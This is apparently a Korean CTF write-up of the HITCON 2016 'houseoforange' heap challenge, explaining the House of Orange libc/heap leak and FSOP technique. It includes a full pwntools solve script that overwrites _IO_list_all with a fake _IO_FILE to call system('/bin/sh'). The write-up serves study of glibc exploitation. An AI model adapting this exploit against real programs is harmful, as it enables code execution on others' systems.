0. 말말말
전설의 houseoforange이다...
이걸 3년전에 문제로 냈다니... 천상계까지 너무 멀고도 험하다.
1. Reversing
제공하는 기능은
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
1. Build the house
해당 기능은 최대 4번까지 이용이 가능하다.
실행되면 총 네 가지를 묻는데, length of name, Name, Price of Orange, color 를 입력해야 한다.
이를 위해 Name, Price+color를 가리키는 주소를 저장할 공간을 malloc(0x10)
Name을 저장하기 위해 malloc(length of name), Price와 color를 저장하기 위해 calloc(0x1, 0x8)
이렇게 세번의 heap 할당이 진행된다.
할당이 끝나면 전역변수에 malloc(0x10)의 주소가 할당되고 카운트가 증가한다.
최대 length of name은 0x1000
2. See the house
Name, Price, color에 맞는 무작위의 오렌지가 출력이 된다.
3. Upgrade the house
할당된 house(heap)에 다시 입력값을 받아 쓴다는 것 외에는 Build the house와 기능적인 면에서는 동일하다.
최대 3번 이용이 가능하다.
4. Giveup
.
2. Exploit
진짜 이 문제는 libc leak부터 heap leak, exploit까지 쉬운 stage가 단 하나도 없다.
Upgrade the house에서 취약점이 있는 데 Name의 length를 입력받을 때 기존의 Name이 할당된 heap size와 비교를 하지 않아 heap overflow가 있다.
하지만 문제는 이 바이너리에 free가 없다.
houseoforange라는 기법을 사용하게 되는데 이와 관련된 내용은 Reference에서 아주 자세히 설명되어 있다.
아무튼 libc, heap leak을 위해 다음과 같은 과정을 거친다.
1. libc leak
build로 heap을 할당 → upgrade로 top chunk의 size를 0x1000보다 낮게 Overwrite →
build로 malloc(0x1000)을 하게 되면, top chunk의 size가 0x1000보다 작게 되서 sysmalloc에서 top chunk는 해제하게된다.
그래서 fd, bk에 unsorted bin이 들어가게 되고 top chunk는 새로 할당된다.
여기서 다시 build malloc(0x400)을 요청해서 unsorted bin에 들어간 freed top chunk에서 할당을 받아 name에 string 8byte을 박아 see house로 출력하여 libc leak을 진행하면 된다.
2. heap leak
이 뒤에 뜬금없이 libc가 적힌 fd, bk 뒤에 heap 주소가 적혀있는 것을 볼 수 있다.
large bin에 들어가는 chunk에는 fd_nextsize와 bk_nextsize가 적히게 된다.
이 때 malloc(0x400)이 요청되면 unsorted bin에서 matching되지 않아 large bin에 들어가 heap주소가 적히게 되고 large bin에서 꺼내져서 0x410만큼 쪼개진 후에 unsorted bin으로 들어가게 된다.
heap leak부분이 조금 이해하기 힘들었다.
이렇게 leak을 다 구하게 되면
3. exploit
1. bk=_IO_list_all-0x10
2. unsorted bin's size = 0x61
이렇게 설정하게 되면 malloc(0x10)을 요청했을 때 _IO_list_all에는 _main_arena의 주소가 들어가게 된다.
또한 unsorted bin의 chunk는 fastbin에 size를 맞춰서 들어가게 되고 fp 구조체의 chain offset에 정확히 들어가게 된다.
그래서 heap쪽에 _IO_FILE struct offset을 맞춰주고 IO_Overflow를 실행시키는 조건
if (
((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
에서 첫 번째 조건인
1. fp->_mode <= 0
2. fp->_IO_write_ptr > fp->_IO_write_base
를 맞춰주고 진행하면 된다.
자세한 내용은 Reference와 slv.py를 참고하면 될것같다.
3. slv.py
from pwn import *
p = process('./houseoforange')
'''
libc = ELF('./libc.so.6')
_IO_list_all_offset = libc.symbols['_IO_list_all']
system_offset = libc.symbols['system']
'''
_IO_list_all_offset = 0x3c31a0
system_offset = 0x46590
def build_house(length, name, price, color):
p.recv()
p.send('1')
p.recv()
p.send(str(length))
p.recv()
p.send(name)
p.recv()
p.send(str(price))
p.recv()
p.send(str(color))
return
def see_house():
p.recv()
p.send('2')
return p.recvuntil('+')
def upgrade_house(length, name, price, color):
p.recv()
p.send('3')
p.recv()
p.send(str(length))
p.recv()
p.send(name)
p.recv()
p.send(str(price))
p.recv()
p.send(str(color))
return
def libc_heap_leak():
build_house(0x400, 'a'*0x10, 2, 0xddaa) # malloc 0x20, 0x410, 0x20
payload = ''
payload += 'a'*0x410
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0xbb1)
upgrade_house(0x500, payload, 2, 0xddaa) # top chunk overwrite (0xbb1)
build_house(0x1000, 'b'*0x10, 1, 0xddaa) # free top chunk and brk() and top chunk resetting
build_house(0x400, 'a'*0x8, 1, 0x1) # malloc from freed top chunk
leak = see_house().split('aaaaaaaa')[1][:6]+'\x00\x00' # libc leak from freed top chunk (unsorted bin)
libc_base = u64(leak) - 0x3c2d68
log.info('libc_base : ' + hex(libc_base))
upgrade_house(0x400, 'a'*0x10, 1, 0x1)
leak = see_house().split('a'*0x10)[1][:6]+'\x00\x00' # libc leak from large_bin's fd_nextsize
# fd_nextsize was created when malloc 0x400, size of 0x400 isn't matched with unsorted bin
# So unsorted bin (freed top chunk) go to larged bin and then create fd_nextsize, bk_nextsize.
heap_base = u64(leak) - 0x4b0
log.info('heap_base : ' + hex(heap_base))
return libc_base, heap_base
def exploit():
libc_base, heap_base = libc_heap_leak()
_IO_list_all_addr = libc_base + _IO_list_all_offset
system_addr = libc_base + system_offset
Overwrite_base = heap_base + 0x8e0
payload = ''
payload += 'a' * 0x420
payload += '/bin/sh\x00'
payload += p64(0x6a)
payload += p64(0xdeadbeefdeadbeef) + p64(_IO_list_all_addr-0x10)
payload += p64(2) + p64(3) # fp->_IO_write_base , fp->_IO_write_ptr
payload += p64(0)*14
payload += p64(0) # fp->_wide_data (if you use second condition, you need to use this pointer)
payload += p64(0)*3
payload += p64(0) # fp->_mode
payload += p64(0)*2
payload += p64(Overwrite_base+0xd0) # vtable
payload += p64(0)
payload += p64(system_addr)
upgrade_house(0x1000, payload ,1, 1)
p.sendline('1')
p.interactive()
return
def main():
exploit()
return
if __name__ == '__main__':
main()
[찾아볼 내용]
1. freed top chunk에서 다시 할당할 때 0x400을 할당 시켜줘야되는 이유
[깨달은 점]
1. script를 이용해서 gdb.attach를 할 때 더 쉽게 디버깅 할 수 있다.
2. list를 통해서 source를 보면서 디버깅할 수 있는데 편하다.
ex) script = 'dir /usr/src/glibc/eglibc-2.19/libio\n'
3. gdb에서 구조체를 맞춰줄때 p *(struct)로 멤버 위치를 확인할 수 있다.
script = 'set _IO_list_all = ' + hex(Overwrite_base) + '\n'
script += 'p *(_IO_list_all)\n'
script += 'p *(_IO_list_all)->file->_wide_data'
4. FSOP 내용 ( _IO_FILE, _IO_FILE_PLUS, 등등)
[Reference]
http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
https://youngsouk-hack.tistory.com/60
https://1ce0ear.github.io/2017/11/26/study-house-of-orange/
https://asiagaming.tistory.com/170
'System > Hitcon 2016' 카테고리의 다른 글
[Hitcon 2016] - SecretHolder - 190728 (0) | 2019.07.28 |
---|